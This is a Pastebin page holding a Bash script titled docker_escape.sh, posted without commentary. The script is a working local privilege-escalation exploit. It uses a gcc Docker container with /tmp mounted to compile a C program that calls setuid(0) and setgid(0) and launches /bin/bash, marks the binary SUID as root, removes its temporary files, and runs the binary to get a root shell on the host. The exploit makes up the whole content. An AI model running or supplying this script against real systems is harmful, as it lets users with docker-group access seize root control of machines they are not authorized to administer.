Advertisement
indonesian

docker_escape.sh

Dec 5th, 2019
273
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.39 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. echo '#include <stdio.h>
  4. #include <sys/types.h>
  5. #include <unistd.h>
  6.  
  7. int main()
  8. {
  9.    setuid(0);
  10.    setgid(0);
  11.    system("/bin/bash");
  12.    return 0;
  13. }' > /tmp/suid.c
  14. echo '#!/bin/bash
  15. gcc /root/suid.c -o /root/suid
  16. chmod +s /root/suid' > /tmp/exploit
  17. chmod +x /tmp/exploit
  18. docker run -v /tmp:/root -it --rm gcc /root/exploit
  19. rm /tmp/exploit
  20. rm /tmp/suid.c
  21. /tmp/suid
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement